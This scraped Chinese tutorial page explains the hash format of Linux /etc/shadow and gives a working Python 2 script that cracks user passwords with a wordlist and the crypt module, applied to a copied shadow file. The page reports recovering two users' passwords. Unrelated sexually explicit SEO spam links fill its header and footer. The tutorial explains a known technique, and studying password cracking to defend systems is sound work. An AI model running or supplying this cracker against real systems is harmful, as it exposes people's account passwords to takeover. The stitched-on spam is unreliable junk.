一区二区三区在线-一区二区三区亚洲视频-一区二区三区亚洲-一区二区三区午夜-一区二区三区四区在线视频-一区二区三区四区在线免费观看

腳本之家,腳本語言編程技術(shù)及教程分享平臺!
分類導(dǎo)航

Python|VBS|Ruby|Lua|perl|VBA|Golang|PowerShell|Erlang|autoit|Dos|bat|

服務(wù)器之家 - 腳本之家 - Python - Python腳本激活Linux密碼的方法(crypt模塊)

Python腳本激活Linux密碼的方法(crypt模塊)

2021-11-12 13:10謝公子 Python

今天小編給大家分享一個非常不錯的方法破解linux口令,主要是利用linux系統(tǒng)中的crypt模塊模擬了linux系統(tǒng)中用戶密碼的加密,操作也很方便,對python破解linux口令相關(guān)知識感興趣的朋友跟隨小編一起學(xué)習(xí)下吧

環(huán)境 Kali Linux ,python版本2.7.13 。

我們利用Linux系統(tǒng)中的 crypt 模塊模擬了Linux系統(tǒng)中用戶密碼的加密,在Windows中是不存在這個庫的。

Python腳本激活Linux密碼的方法(crypt模塊)

在Linux系統(tǒng)中,用戶的密碼被加密存儲在了 /etc/shadow 文件中。

如下是 /etc/shadow中root用戶的字段

root:$6$ql1UU7ZPwONL9NzX$/bz0GQ8.Ne.zqpF.L5rqPok.Zep0ypRU1X8v.Omrqnv1k6hVDzqTS1Vezencaxltk52X94eZMT/teVHI1Jwf6.:17767:0:99999:7:::

第二個字段是密碼部分的,我們把它單獨拿出來

$6$ql1UU7ZPwONL9NzX$/bz0GQ8.Ne.zqpF.L5rqPok.Zep0ypRU1X8v.Omrqnv1k6hVDzqTS1Vezencaxltk52X94eZMT/teVHI1Jwf6.

密碼部分的格式為:$id$salt$encrypted  

  • id是指用的哈希算法,id為1是MD5,id為5是SHA-256,id為6是SHA-512
  • salt 為鹽值
  • encrypted 為hash值,這里的hash值是密碼和鹽值一起加密之后得到的

在了解了shadow 文件中密碼的加密方式之后,我們就可以開始編寫python腳本了。

在編寫之前,我們需要準(zhǔn)備好密碼字典文件 key.txt 。只有當(dāng)密碼字典足夠大時,才有可能破解出密碼。

然后我們將 /etc/shadow 文件復(fù)制到python腳本所在目錄,修改文件名為 shadow.txt

在編寫時,我們創(chuàng)建兩個函數(shù):main() 和 testPass() 。main() 函數(shù)打開 shadow.txt 文件中的內(nèi)容,讀取其中的用戶名字段和密碼字段cryptPass。testPass() 函數(shù)將密碼字段中的 $id$salt 提取出來賦值給 salt 。然后讀取 key.txt 中的密碼字段,賦值給 word 。再利用Linux系統(tǒng)中python的一個crypt庫,將word和salt一起作為參數(shù)傳進(jìn)去進(jìn)行加密,得到 cryptWord 。最后將cryptWord和cryptPass進(jìn)行對比,如果相等,則這個word就是該用戶的密碼,否則不是。

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# -*- coding: utf-8 -*-
"""
Created on Mon Oct 29 15:01:54 2018
@author: 小謝
"""
import crypt   ##導(dǎo)入Linux口令加密庫
def testPass(cryptPass):
    salt=cryptPass[cryptPass.find("$"):cryptPass.rfind("$")]  ##獲得鹽值,包含$id部分
    dictFile=open('key.txt','r')
    for word in dictFile.readlines():
        word=word.strip("\n")
        cryptWord=crypt.crypt(word,salt)                   ##將密碼字典中的值和鹽值一起加密
        if (cryptWord==cryptPass):                           ##判斷加密后的數(shù)據(jù)和密碼字段是否相等
            print "[+]Found Password:"+word+"\n"       ##如果相等則打印出來
            return
    print "[-] Password Not Found.\n"
    return
 
def main():
    passFile=open('shadow.txt')
    for line in passFile.readlines():      ##讀取文件中的所有內(nèi)容
        if ":" in line:
            user=line.split(":")[0]                     ##獲得用戶名
            cryptPass=line.split(":")[1].strip(' ')   ##獲得密碼字段
            print "[*] Cracking Password for:"+user
            testPass(cryptPass)
main()

腳本運行截圖,破解出了用戶tom和用戶xie的密碼。 

Python腳本激活Linux密碼的方法(crypt模塊)

以上就是Python腳本激活Linux口令(crypt模塊)的詳細(xì)內(nèi)容,更多關(guān)于python破解linux口令的資料請關(guān)注服務(wù)器之家其它相關(guān)文章!

原文鏈接:https://blog.csdn.net/qq_36119192/article/details/83514244

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板: 逼里逼里香 | 啊好大好爽 | nxgx欧美 | 国产精品天天影视久久综合网 | 久久热在线视频精品店 | 成人榴莲视频 | 男人懂得网站 | 暴露狂婷婷 | 日日综合 | 免费看视频高清在线观看 | 国产小嫩模好紧 | 久久久久久免费高清电影 | 国产精品区一区二区免费 | 亚洲精品国产精麻豆久久99 | 欧美一级在线全免费 | 免费高清视频免费观看 | 日本人交换乱理伦片 | avtt在线播放 | 好大好硬好长好爽a网站 | 天码毛片一区二区三区入口 | 毛片啪啪视频 | 国产精品原创巨作无遮挡 | 精品日韩二区三区精品视频 | xvideo日本| 精品国产欧美一区二区三区成人 | 国产盗摄女厕美女嘘嘘 | 欧美视频一区二区专区 | 国产亚洲精品日韩香蕉网 | 欧美一区精品二区三区 | 精品一区二区三区视频日产 | 欧美日韩国产亚洲人成 | 欧美日韩一区二区中文字幕视频 | a男人的天堂久久a毛片 | 日剧整部剧护妻狂魔免费观看全集 | 日韩欧美高清视频 | 好大水好多好爽好硬好深视频 | 插鸡小说| 亚洲精品黄色 | 欧美添下面视频免费观看 | 男女姓交大视频免费观看 | 日本精工厂网址 |